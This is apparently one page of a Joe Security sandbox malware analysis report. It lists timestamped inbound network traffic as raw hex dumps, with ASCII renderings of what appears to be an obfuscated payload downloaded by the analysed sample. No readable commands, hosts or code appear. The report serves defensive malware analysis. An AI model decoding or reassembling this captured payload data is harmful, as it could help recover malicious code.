78 20 4b 74 20 78 20 4b 74 20 78 20 4b 74 20 78 20 4b 74 20 78 20 4b 74 20 78 20 4b 74 20 78 20 4b 74 20 78 20 4b 74 
20 78 20 4b 74 20 78 20 4b 74 20 78 20 4b 74 20 78 20 4b 74 
Data Ascii: k x Kt x YK x Kt x Kt x OOK x Kt x KE x OOk x Kt x YK x Kt x Kt x OOK x Kt x KE x OOk x Kt x YK x Kt x Kt x 
OOK x Kt x KE x OOk x Kt x YK x Kt x Kt x OOK x Kt x KE x OOk x Kt x Yt x Kt x Kt x Ooo x Kt x Kt x Kt x Kt x Kt x Kt x Kt 
x Kt x Kt x Kt x Kt x Kt

2021-11-09 21:21:49 UTC 1109 IN Data Raw: 78 20 4b 74 20 78 20 4b 74 20 78 20 52 59 20 78 20 59 4f 20 78 20 4f 78 6b 20 78 20 4f 4f 6b 20 78 20 4b 74 
20 78 20 4f 4f 52 20 78 20 74 6b 20 78 20 74 4b 20 78 20 74 6f 20 78 20 4b 74 20 78 20 59 52 20 78 20 52 6b 20 78 20 4f 
78 4f 20 78 20 6b 74 20 78 20 4b 74 20 78 20 4b 74 20 78 20 52 59 20 78 20 59 4f 20 78 20 4f 78 6b 20 78 20 4f 4f 6b 20 
78 20 4b 74 20 78 20 4f 4f 51 20 78 20 74 52 20 78 20 4f 4f 6f 20 78 20 74 52 20 78 20 4b 74 20 78 20 59 52 20 78 20 52 
74 20 78 20 51 74 20 78 20 74 51 20 78 20 4b 74 20 78 20 4b 74 20 78 20 52 59 20 78 20 4f 4f 4b 20 78 20 4f 78 74 20 78 
20 4f 78 6f 20 78 20 4b 74 20 78 20 4f 4f 52 20 78 20 74 4b 20 78 20 4f 4f 4f 20 78 20 59 4f 20 78 20 4b 74 20 78 20 59 59 
20 78 20 6b 45 20 78 20 74 4f 20 78 20 74 52 20 78 20 
Data Ascii: x Kt x Kt x RY x YO x Oxk x OOk x Kt x OOR x tk x tK x to x Kt x YR x Rk x OxO x kt x Kt x Kt x RY x YO x Oxk 
x OOk x Kt x OOQ x tR x OOo x tR x Kt x YR x Rt x Qt x tQ x Kt x Kt x RY x OOK x Oxt x Oxo x Kt x OOR x tK x OOO x 
YO x Kt x YY x kE x tO x tR x 

2021-11-09 21:21:49 UTC 1113 IN Data Raw: 78 20 59 59 20 78 20 59 4f 20 78 20 4b 74 20 78 20 4b 45 20 78 20 4f 4f 4b 20 78 20 4f 4f 74 20 78 20 59 74 20 
78 20 4b 74 20 78 20 4b 74 20 78 20 6b 78 20 78 20 4b 6b 20 78 20 51 51 20 78 20 59 59 20 78 20 4b 74 20 78 20 51 78 
20 78 20 52 51 20 78 20 4b 6b 20 78 20 74 45 20 78 20 59 74 20 78 20 4f 78 52 20 78 20 4f 4f 59 20 78 20 51 78 20 78 20 
74 6f 20 78 20 59 74 20 78 20 74 74 20 78 20 52 6b 20 78 20 52 59 20 78 20 6b 4f 20 78 20 74 78 20 78 20 6b 52 20 78 
20 4f 78 74 20 78 20 4b 51 20 78 20 6b 45 20 78 20 52 59 20 78 20 4b 74 20 78 20 59 45 20 78 20 74 4b 20 78 20 6b 4b 
20 78 20 4f 78 45 20 78 20 4f 78 6f 20 78 20 4b 74 20 78 20 74 78 20 78 20 4f 78 74 20 78 20 59 45 20 78 20 6b 78 20 78 
20 4b 74 20 78 20 4f 4f 51 20 78 20 51 6b 20 78 20 59 78 20 78 
Data Ascii: x YY x YO x Kt x KE x OOK x OOt x Yt x Kt x Kt x kx x Kk x QQ x YY x Kt x Qx x RQ x Kk x tE x Yt x OxR x 
OOY x Qx x to x Yt x tt x Rk x RY x kO x tx x kR x Oxt x KQ x kE x RY x Kt x YE x tK x kK x OxE x Oxo x Kt x tx x Oxt x YE 
x kx x Kt x OOQ x Qk x Yx x

2021-11-09 21:21:49 UTC 1117 IN Data Raw: 20 78 20 4b 45 20 78 20 4f 6f 6f 20 78 20 51 51 20 78 20 59 6f 20 78 20 6b 78 20 78 20 4b 74 20 78 20 4f 4f 59 
20 78 20 59 78 20 78 20 4b 45 20 78 20 52 6b 20 78 20 4b 74 20 78 20 59 59 20 78 20 74 6b 20 78 20 4f 4f 6b 20 78 20 4f 
78 45 20 78 20 4b 74 20 78 20 4b 45 20 78 20 4f 6f 6f 20 78 20 51 6b 20 78 20 59 6f 20 78 20 6b 78 20 78 20 4b 74 20 78 
20 4f 4f 59 20 78 20 59 78 20 78 20 4b 45 20 78 20 52 6b 20 78 20 4b 74 20 78 20 59 59 20 78 20 74 6b 20 78 20 4f 4f 6b 
20 78 20 4f 78 6f 20 78 20 4b 74 20 78 20 4b 45 20 78 20 4f 6f 6f 20 78 20 51 6b 20 78 20 59 6f 20 78 20 6b 78 20 78 20 
4b 74 20 78 20 4f 4f 59 20 78 20 59 78 20 78 20 4b 45 20 78 20 52 6b 20 78 20 4b 74 20 78 20 59 59 20 78 20 74 6b 20 
78 20 4f 4f 6b 20 78 20 4f 78 45 20 78 20 4b 74 20 78 20 
Data Ascii:  x KE x Ooo x QQ x Yo x kx x Kt x OOY x Yx x KE x Rk x Kt x YY x tk x OOk x OxE x Kt x KE x Ooo x Qk x Yo 
x kx x Kt x OOY x Yx x KE x Rk x Kt x YY x tk x OOk x Oxo x Kt x KE x Ooo x Qk x Yo x kx x Kt x OOY x Yx x KE x Rk x Kt 
x YY x tk x OOk x OxE x Kt x 

2021-11-09 21:21:49 UTC 1121 IN Data Raw: 78 20 52 51 20 78 20 74 74 20 78 20 52 59 20 78 20 4f 78 78 20 78 20 52 59 20 78 20 52 52 20 78 20 4f 6f 4f 
20 78 20 52 59 20 78 20 74 4f 20 78 20 4f 4f 51 20 78 20 52 59 20 78 20 74 59 20 78 20 4f 4f 51 20 78 20 52 52 20 78 20 
6b 4b 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 52 20 78 
20 74 4b 20 78 20 4f 4f 78 20 78 20 52 74 20 78 20 6b 51 20 78 20 52 59 20 78 20 6b 59 20 78 20 52 59 20 78 20 52 52 
20 78 20 4f 6f 4f 20 78 20 52 59 20 78 20 74 4f 20 78 20 59 52 20 78 20 52 59 20 78 20 51 51 20 78 20 52 59 20 78 20 52 
52 20 78 20 4f 78 6b 20 78 20 52 59 20 78 20 74 6f 20 78 20 74 45 20 78 20 52 59 20 78 20 4f 78 78 20 78 20 52 59 20 78 
20 52 52 20 78 20 4f 4f 6f 20 78 20 52 59 20 78 20 74 4f 20 78 
Data Ascii: x RQ x tt x RY x Oxx x RY x RR x OoO x RY x tO x OOQ x RY x tY x OOQ x RR x kK x RY x RY x RY x RY x 
RY x RY x RR x tK x OOx x Rt x kQ x RY x kY x RY x RR x OoO x RY x tO x YR x RY x QQ x RY x RR x Oxk x RY x to x 
tE x RY x Oxx x RY x RR x OOo x RY x tO x

2021-11-09 21:21:49 UTC 1125 IN Data Raw: 20 51 51 20 78 20 4f 4f 51 20 78 20 52 59 20 78 20 74 4b 20 78 20 52 59 20 78 20 52 51 20 78 20 74 74 20 78 
20 52 59 20 78 20 4f 78 78 20 78 20 52 59 20 78 20 52 52 20 78 20 4f 6f 4f 20 78 20 52 59 20 78 20 74 4f 20 78 20 4f 4f 
51 20 78 20 52 59 20 78 20 74 59 20 78 20 4f 4f 51 20 78 20 52 52 20 78 20 6b 4f 20 78 20 52 59 20 78 20 74 4f 20 78 20 
4f 4f 51 20 78 20 52 59 20 78 20 4f 78 78 20 78 20 6b 4f 20 78 20 52 52 20 78 20 4f 6f 6f 20 78 20 52 59 20 78 20 52 59 
20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 52 20 78 20 6b 51 20 78 20 4f 4f 78 20 78 20 
52 51 20 78 20 52 51 20 78 20 52 59 20 78 20 4f 78 78 20 78 20 6b 4f 20 78 20 52 52 20 78 20 4b 6b 20 78 20 52 59 20 
78 20 74 4f 20 78 20 59 52 20 78 20 52 59 20 78 20 74 45 20 78 
Data Ascii:  QQ x OOQ x RY x tK x RY x RQ x tt x RY x Oxx x RY x RR x OoO x RY x tO x OOQ x RY x tY x OOQ x RR x 
kO x RY x tO x OOQ x RY x Oxx x kO x RR x Ooo x RY x RY x RY x RY x RY x RY x RR x kQ x OOx x RQ x RQ x RY x 
Oxx x kO x RR x Kk x RY x tO x YR x RY x tE x

2021-11-09 21:21:49 UTC 1128 IN Data Raw: 20 78 20 4f 4f 78 20 78 20 52 51 20 78 20 74 74 20 78 20 52 59 20 78 20 51 74 20 78 20 52 59 20 78 20 52 52 
20 78 20 4f 4f 6b 20 78 20 52 59 20 78 20 74 4f 20 78 20 59 52 20 78 20 52 59 20 78 20 51 51 20 78 20 4f 4f 51 20 78 20 
52 52 20 78 20 4f 78 6b 20 78 20 52 59 20 78 20 52 74 20 78 20 52 59 20 78 20 52 59 20 78 20 6b 4f 20 78 20 4f 4f 51 20 
78 20 52 52 20 78 20 4f 4f 6b 20 78 20 52 59 20 78 20 74 4f 20 78 20 4f 4f 51 20 78 20 52 59 20 78 20 4f 78 78 20 78 20 
6b 4f 20 78 20 52 52 20 78 20 4f 4f 52 20 78 20 52 59 20 78 20 52 74 20 78 20 6b 51 20 78 20 52 59 20 78 20 51 6b 20 78 
20 4f 78 45 20 78 20 52 52 20 78 20 4f 6f 6f 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 
20 78 20 52 59 20 78 20 52 52 20 78 20 74 74 20 78 20 4f 
Data Ascii:  x OOx x RQ x tt x RY x Qt x RY x RR x OOk x RY x tO x YR x RY x QQ x OOQ x RR x Oxk x RY x Rt x RY x 
RY x kO x OOQ x RR x OOk x RY x tO x OOQ x RY x Oxx x kO x RR x OOR x RY x Rt x kQ x RY x Qk x OxE x RR x Ooo 
x RY x RY x RY x RY x RY x RY x RR x tt x O

2021-11-09 21:21:49 UTC 1133 IN Data Raw: 78 20 52 59 20 78 20 52 59 20 78 20 4f 78 6b 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 
78 20 52 59 20 78 20 52 59 20 78 20 52 52 20 78 20 4f 4f 51 20 78 20 52 59 20 78 20 74 4f 20 78 20 52 59 20 78 20 6b 78 
20 78 20 59 52 20 78 20 52 59 20 78 20 52 74 20 78 20 6b 4f 20 78 20 52 6b 20 78 20 4f 4f 4b 20 78 20 52 59 20 78 20 4b 
74 20 78 20 4b 74 20 78 20 4b 74 20 78 20 4f 78 45 20 78 20 4f 78 45 20 78 20 52 52 20 78 20 6b 59 20 78 20 52 59 20 
78 20 74 4f 20 78 20 4f 78 45 20 78 20 52 59 20 78 20 51 78 20 78 20 6b 4f 20 78 20 52 59 20 78 20 4f 78 45 20 78 20 52 
59 20 78 20 74 4f 20 78 20 6b 51 20 78 20 52 59 20 78 20 51 6b 20 78 20 4f 4f 51 20 78 20 52 52 20 78 20 4f 4f 59 20 78 
20 52 59 20 78 20 74 4f 20 78 20 4f 4f 51 20 78 20 52 59 20 
Data Ascii: x RY x RY x Oxk x RY x RY x RY x RY x RY x RY x RR x OOQ x RY x tO x RY x kx x YR x RY x Rt x kO x Rk 
x OOK x RY x Kt x Kt x Kt x OxE x OxE x RR x kY x RY x tO x OxE x RY x Qx x kO x RY x OxE x RY x tO x kQ x RY x Qk 
x OOQ x RR x OOY x RY x tO x OOQ x RY 
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2021-11-09 21:21:49 UTC 1137 IN Data Raw: 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 
59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 4f 78 6b 20 78 
20 52 59 20 78 20 74 6f 20 78 20 52 59 20 78 20 52 52 20 78 20 4f 4f 51 20 78 20 52 59 20 78 20 6b 74 20 78 20 4f 4f 51 
20 78 20 52 59 20 78 20 74 4b 20 78 20 52 59 20 78 20 74 51 20 78 20 59 52 20 78 20 52 6b 20 78 20 52 59 20 78 20 52 
59 20 78 20 52 6b 20 78 20 4b 74 20 78 20 4b 74 20 78 20 59 6f 20 78 20 74 45 20 78 20 52 59 20 78 20 6b 4f 20 78 20 4f 
4f 51 20 78 20 52 52 20 78 20 4f 4f 6b 20 78 20 52 59 20 78 20 74 4f 20 78 20 4b 6b 20 78 20 52 59 20 78 20 51 6b 20 78 
20 6b 4f 20 78 20 52 52 20 78 20 4f 78 4b 20 78 20 52 59 20 78 20 
Data Ascii: Y x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x Oxk x RY x to x RY x RR x OOQ x 
RY x kt x OOQ x RY x tK x RY x tQ x YR x Rk x RY x RY x Rk x Kt x Kt x Yo x tE x RY x kO x OOQ x RR x OOk x RY x tO 
x Kk x RY x Qk x kO x RR x OxK x RY x 

2021-11-09 21:21:49 UTC 1141 IN Data Raw: 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 
78 20 52 59 20 78 20 4f 78 45 20 78 20 52 59 20 78 20 52 74 20 78 20 52 52 20 78 20 6b 59 20 78 20 74 4f 20 78 20 4f 78 
45 20 78 20 52 52 20 78 20 6b 74 20 78 20 52 59 20 78 20 52 52 20 78 20 74 52 20 78 20 52 59 20 78 20 52 59 20 78 20 
4f 4f 51 20 78 20 52 59 20 78 20 4b 45 20 78 20 4f 78 45 20 78 20 74 74 20 78 20 52 59 20 78 20 52 59 20 78 20 6b 78 20 
78 20 4b 74 20 78 20 4b 74 20 78 20 4f 78 45 20 78 20 6b 4f 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 5
9 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 
52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 
Data Ascii: x RY x RY x RY x RY x RY x RY x RY x RY x OxE x RY x Rt x RR x kY x tO x OxE x RR x kt x RY x RR x tR x 
RY x RY x OOQ x RY x KE x OxE x tt x RY x RY x kx x Kt x Kt x OxE x kO x RY x RY x RY x RY x RY x RY x RY x RY x 
RY x RY x RY x RY x RY x RY x RY x RY 

2021-11-09 21:21:49 UTC 1145 IN Data Raw: 20 4f 78 45 20 78 20 52 59 20 78 20 4f 78 45 20 78 20 52 59 20 78 20 74 6f 20 78 20 6b 4f 20 78 20 52 59 20 
78 20 51 74 20 78 20 52 59 20 78 20 52 52 20 78 20 4f 78 6b 20 78 20 52 59 20 78 20 52 74 20 78 20 52 59 20 78 20 52 
59 20 78 20 51 78 20 78 20 4f 78 45 20 78 20 52 52 20 78 20 4b 51 20 78 20 52 59 20 78 20 74 4f 20 78 20 4f 4f 51 20 78 
20 52 59 20 78 20 51 6b 20 78 20 52 59 20 78 20 52 59 20 78 20 4f 78 45 20 78 20 52 59 20 78 20 74 6f 20 78 20 52 59 
20 78 20 52 59 20 78 20 6b 51 20 78 20 6b 4f 20 78 20 52 52 20 78 20 4b 6b 20 78 20 52 59 20 78 20 74 4f 20 78 20 4f 78 
45 20 78 20 52 59 20 78 20 74 45 20 78 20 52 59 20 78 20 52 52 20 78 20 4f 4f 6f 20 78 20 52 59 20 78 20 74 6f 20 78 20 
74 74 20 78 20 52 59 20 78 20 74 45 20 78 20 52 59 20 78 20 52 
Data Ascii:  OxE x RY x OxE x RY x to x kO x RY x Qt x RY x RR x Oxk x RY x Rt x RY x RY x Qx x OxE x RR x KQ x RY 
x tO x OOQ x RY x Qk x RY x RY x OxE x RY x to x RY x RY x kQ x kO x RR x Kk x RY x tO x OxE x RY x tE x RY x RR x 
OOo x RY x to x tt x RY x tE x RY x R

2021-11-09 21:21:49 UTC 1149 IN Data Raw: 59 20 78 20 74 4f 20 78 20 59 52 20 78 20 52 59 20 78 20 51 78 20 78 20 52 59 20 78 20 52 52 20 78 20 4f 78 
6b 20 78 20 52 59 20 78 20 52 6b 20 78 20 4f 4f 4f 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 
52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 
20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 4f 4f 51 20 78 20 52 59 
20 78 20 4f 78 4b 20 78 20 6b 59 20 78 20 74 59 20 78 20 74 74 20 78 20 52 59 20 78 20 4f 6f 4f 20 78 20 6b 4f 20 78 20 
52 74 20 78 20 4b 6b 20 78 20 52 59 20 78 20 74 52 20 78 20 6b 51 20 78 20 52 59 20 78 20 52 52 20 78 20 4f 4f 51 20 7
8 20 6b 4f 20 78 20 52 59 20 78 20 52 59 20 78 20 6b 78 20 78 20 
Data Ascii: Y x tO x YR x RY x Qx x RY x RR x Oxk x RY x Rk x OOO x RY x RY x RY x RY x RY x RY x RY x RY x RY x 
RY x RY x RY x RY x RY x RY x RY x RY x RY x OOQ x RY x OxK x kY x tY x tt x RY x OoO x kO x Rt x Kk x RY x tR x 
kQ x RY x RR x OOQ x kO x RY x RY x kx x 

2021-11-09 21:21:49 UTC 1153 IN Data Raw: 20 52 59 20 78 20 51 6b 20 78 20 4f 4f 51 20 78 20 52 52 20 78 20 4f 4f 74 20 78 20 52 59 20 78 20 74 4f 20 78 
20 4b 6b 20 78 20 52 59 20 78 20 51 78 20 78 20 6b 4f 20 78 20 52 52 20 78 20 4f 4f 74 20 78 20 52 59 20 78 20 74 6f 20 
78 20 6b 4f 20 78 20 52 59 20 78 20 74 45 20 78 20 52 59 20 78 20 52 52 20 78 20 6b 4b 20 78 20 52 59 20 78 20 74 6f 
20 78 20 6b 4f 20 78 20 52 59 20 78 20 51 51 20 78 20 4f 78 45 20 78 20 52 52 20 78 20 4f 4f 6f 20 78 20 52 59 20 78 20 
74 4f 20 78 20 59 6f 20 78 20 52 59 20 78 20 51 78 20 78 20 4f 4f 51 20 78 20 52 52 20 78 20 4f 6f 6f 20 78 20 52 59 20 78 
20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 
78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 
Data Ascii:  RY x Qk x OOQ x RR x OOt x RY x tO x Kk x RY x Qx x kO x RR x OOt x RY x to x kO x RY x tE x RY x RR x 
kK x RY x to x kO x RY x QQ x OxE x RR x OOo x RY x tO x Yo x RY x Qx x OOQ x RR x Ooo x RY x RY x RY x RY x RY 
x RY x RY x RY x RY x RY x RY x RY x RY

2021-11-09 21:21:49 UTC 1157 IN Data Raw: 4f 20 78 20 59 52 20 78 20 52 59 20 78 20 51 6b 20 78 20 4f 4f 51 20 78 20 52 52 20 78 20 4f 6f 6f 20 78 20 52 
59 20 78 20 74 4f 20 78 20 6b 59 20 78 20 52 59 20 78 20 74 45 20 78 20 52 59 20 78 20 52 52 20 78 20 6b 4f 20 78 20 
52 59 20 78 20 74 6f 20 78 20 74 45 20 78 20 52 59 20 78 20 51 6b 20 78 20 4f 4f 51 20 78 20 52 52 20 78 20 4f 78 52 20 
78 20 52 59 20 78 20 74 4f 20 78 20 6b 59 20 78 20 52 59 20 78 20 51 51 20 78 20 4f 4f 51 20 78 20 52 52 20 78 20 4f 6f 
6f 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 74 20 78 20 52 59 20 78 20 52 74 20 78 20 
6b 4f 20 78 20 52 59 20 78 20 6b 4f 20 78 20 52 59 20 78 20 52 52 20 78 20 6b 4b 20 78 20 6b 4f 20 78 20 52 52 20 78 20 
6b 4b 20 78 20 52 59 20 78 20 52 74 20 78 20 52 59 20 78 20 
Data Ascii: O x YR x RY x Qk x OOQ x RR x Ooo x RY x tO x kY x RY x tE x RY x RR x kO x RY x to x tE x RY x Qk x 
OOQ x RR x OxR x RY x tO x kY x RY x QQ x OOQ x RR x Ooo x RY x RY x RY x RY x Rt x RY x Rt x kO x RY x kO x 
RY x RR x kK x kO x RR x kK x RY x Rt x RY x 

2021-11-09 21:21:49 UTC 1160 IN Data Raw: 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 74 20 78 20 4f 78 6f 20 78 20 52 59 20 78 20 74 78 20 
78 20 52 51 20 78 20 52 59 20 78 20 74 74 20 78 20 4f 78 45 20 78 20 52 59 20 78 20 74 51 20 78 20 52 59 20 78 20 74 
51 20 78 20 59 52 20 78 20 52 6b 20 78 20 4b 74 20 78 20 4b 74 20 78 20 4b 45 20 78 20 52 59 20 78 20 52 59 20 78 20 
52 74 20 78 20 6b 51 20 78 20 52 59 20 78 20 6b 45 20 78 20 52 59 20 78 20 52 52 20 78 20 4f 4f 6f 20 78 20 52 59 20 78 
20 74 4f 20 78 20 6b 4f 20 78 20 52 59 20 78 20 51 78 20 78 20 6b 4f 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 
20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 52 20 78 20 6b 59 20 
78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 
Data Ascii: x RY x RY x RY x Rt x Oxo x RY x tx x RQ x RY x tt x OxE x RY x tQ x RY x tQ x YR x Rk x Kt x Kt x KE x RY x 
RY x Rt x kQ x RY x kE x RY x RR x OOo x RY x tO x kO x RY x Qx x kO x RY x RY x RY x RY x RY x RY x RY x RY x 
RY x RR x kY x RY x RY x RY x RY x 

2021-11-09 21:21:49 UTC 1165 IN Data Raw: 20 74 6f 20 78 20 74 45 20 78 20 52 59 20 78 20 51 78 20 78 20 6b 4f 20 78 20 52 52 20 78 20 4f 78 4b 20 78 
20 52 59 20 78 20 74 6f 20 78 20 6b 4f 20 78 20 52 59 20 78 20 51 78 20 78 20 6b 4f 20 78 20 52 52 20 78 20 4f 78 74 20 
78 20 52 59 20 78 20 52 74 20 78 20 52 59 20 78 20 52 59 20 78 20 6b 51 20 78 20 4f 78 45 20 78 20 52 52 20 78 20 59 
45 20 78 20 52 59 20 78 20 52 74 20 78 20 52 59 20 78 20 52 59 20 78 20 4f 78 78 20 78 20 6b 4f 20 78 20 52 52 20 78 
20 4f 6f 6f 20 78 20 52 59 20 78 20 74 4f 20 78 20 4f 78 74 20 78 20 52 59 20 78 20 51 6b 20 78 20 4f 78 45 20 78 20 52 
52 20 78 20 4f 4f 78 20 78 20 52 59 20 78 20 52 52 20 78 20 74 74 20 78 20 52 59 20 78 20 6b 59 20 78 20 4f 4f 51 20 78 
20 52 52 20 78 20 4f 78 6b 20 78 20 52 59 20 78 20 74 4f 20 78 
Data Ascii:  to x tE x RY x Qx x kO x RR x OxK x RY x to x kO x RY x Qx x kO x RR x Oxt x RY x Rt x RY x RY x kQ x OxE 
x RR x YE x RY x Rt x RY x RY x Oxx x kO x RR x Ooo x RY x tO x Oxt x RY x Qk x OxE x RR x OOx x RY x RR x tt x RY 
x kY x OOQ x RR x Oxk x RY x tO x

Timestamp
kBytes
transferred Direction Data

Copyright Joe Security LLC 2021 Page 65 of 88



2021-11-09 21:21:49 UTC 1169 IN Data Raw: 78 20 52 59 20 78 20 74 4f 20 78 20 6b 59 20 78 20 52 59 20 78 20 51 78 20 78 20 52 59 20 78 20 52 59 20 78 
20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 
78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 
20 78 20 52 59 20 78 20 52 59 20 78 20 52 52 20 78 20 52 51 20 78 20 52 59 20 78 20 6b 4f 20 78 20 6b 4f 20 78 20 52 5
2 20 78 20 4f 78 74 20 78 20 52 59 20 78 20 74 4f 20 78 20 6b 4f 20 78 20 52 59 20 78 20 74 45 20 78 20 52 59 20 78 20 
52 52 20 78 20 74 78 20 78 20 52 59 20 78 20 74 6f 20 78 20 4f 78 45 20 78 20 52 59 20 78 20 51 51 20 78 20 52 59 20 
78 20 52 52 20 78 20 4f 4f 59 20 78 20 52 59 20 78 20 74 4f 20 78 20 
Data Ascii: x RY x tO x kY x RY x Qx x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x 
RY x RY x RY x RY x RY x RR x RQ x RY x kO x kO x RR x Oxt x RY x tO x kO x RY x tE x RY x RR x tx x RY x to x OxE 
x RY x QQ x RY x RR x OOY x RY x tO x 

2021-11-09 21:21:49 UTC 1173 IN Data Raw: 78 20 4f 78 45 20 78 20 52 52 20 78 20 4f 4f 6b 20 78 20 52 59 20 78 20 74 6f 20 78 20 6b 4f 20 78 20 52 59 
20 78 20 51 74 20 78 20 52 59 20 78 20 52 52 20 78 20 4f 78 6b 20 78 20 52 59 20 78 20 74 6f 20 78 20 74 45 20 78 20 
52 59 20 78 20 74 45 20 78 20 52 59 20 78 20 52 52 20 78 20 4f 4f 59 20 78 20 52 59 20 78 20 74 4f 20 78 20 59 52 20 78 
20 52 59 20 78 20 51 78 20 78 20 4f 4f 51 20 78 20 52 52 20 78 20 4f 4f 78 20 78 20 52 59 20 78 20 74 4f 20 78 20 6b 59 
20 78 20 52 59 20 78 20 51 78 20 78 20 52 59 20 78 20 52 59 20 78 20 4f 4f 52 20 78 20 52 59 20 78 20 74 4f 20 78 20 4f 
78 74 20 78 20 52 59 20 78 20 51 6b 20 78 20 4f 78 45 20 78 20 52 59 20 78 20 4f 78 45 20 78 20 52 59 20 78 20 74 6f 20 
78 20 6b 59 20 78 20 52 59 20 78 20 51 51 20 78 20 4f 4f 51 
Data Ascii: x OxE x RR x OOk x RY x to x kO x RY x Qt x RY x RR x Oxk x RY x to x tE x RY x tE x RY x RR x OOY x RY 
x tO x YR x RY x Qx x OOQ x RR x OOx x RY x tO x kY x RY x Qx x RY x RY x OOR x RY x tO x Oxt x RY x Qk x OxE x 
RY x OxE x RY x to x kY x RY x QQ x OOQ

2021-11-09 21:21:49 UTC 1177 IN Data Raw: 4f 4f 51 20 78 20 52 52 20 78 20 59 4f 20 78 20 52 59 20 78 20 74 6f 20 78 20 74 74 20 78 20 52 59 20 78 20 
74 45 20 78 20 52 59 20 78 20 52 52 20 78 20 74 51 20 78 20 52 59 20 78 20 74 78 20 78 20 6b 4f 20 78 20 52 59 20 78 
20 74 45 20 78 20 52 59 20 78 20 52 59 20 78 20 4b 6b 20 78 20 52 59 20 78 20 52 74 20 78 20 59 6f 20 78 20 52 59 20 
78 20 74 74 20 78 20 52 59 20 78 20 52 59 20 78 20 4f 78 45 20 78 20 52 59 20 78 20 74 78 20 78 20 74 74 20 78 20 52 5
9 20 78 20 6b 59 20 78 20 52 59 20 78 20 52 59 20 78 20 4b 51 20 78 20 52 59 20 78 20 74 78 20 78 20 52 52 20 78 20 
52 52 20 78 20 52 6b 20 78 20 52 59 20 78 20 52 52 20 78 20 6b 6b 20 78 20 52 59 20 78 20 74 4f 20 78 20 4f 78 74 20 
78 20 52 59 20 78 20 51 6b 20 78 20 4f 78 45 20 78 20 52 52 20 78 20 4f 
Data Ascii: OOQ x RR x YO x RY x to x tt x RY x tE x RY x RR x tQ x RY x tx x kO x RY x tE x RY x RY x Kk x RY x Rt x 
Yo x RY x tt x RY x RY x OxE x RY x tx x tt x RY x kY x RY x RY x KQ x RY x tx x RR x RR x Rk x RY x RR x kk x RY x tO 
x Oxt x RY x Qk x OxE x RR x O

2021-11-09 21:21:49 UTC 1181 IN Data Raw: 20 78 20 52 59 20 78 20 4f 78 45 20 78 20 52 59 20 78 20 52 51 20 78 20 59 6f 20 78 20 52 59 20 78 20 6b 51 
20 78 20 6b 4f 20 78 20 52 52 20 78 20 4f 4f 52 20 78 20 52 59 20 78 20 74 4f 20 78 20 6b 59 20 78 20 52 59 20 78 20 52 
59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 
52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 
20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 
78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 74 52 20 78 20 52 59 20 78 20 52 51 20 78 20 74 74 20 78 20 52 59 
20 78 20 6b 45 20 78 20 74 4b 20 78 20 4f 4f 51 20 78 20 52 59 20 78 
Data Ascii:  x RY x OxE x RY x RQ x Yo x RY x kQ x kO x RR x OOR x RY x tO x kY x RY x RY x RY x RY x RY x RY x 
RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY 
x tR x RY x RQ x tt x RY x kE x tK x OOQ x RY x

2021-11-09 21:21:49 UTC 1185 IN Data Raw: 4f 78 6b 20 78 20 52 59 20 78 20 74 4f 20 78 20 6b 4f 20 78 20 52 59 20 78 20 6b 59 20 78 20 4f 78 45 20 78 
20 52 52 20 78 20 4b 51 20 78 20 52 59 20 78 20 74 4f 20 78 20 59 6f 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 
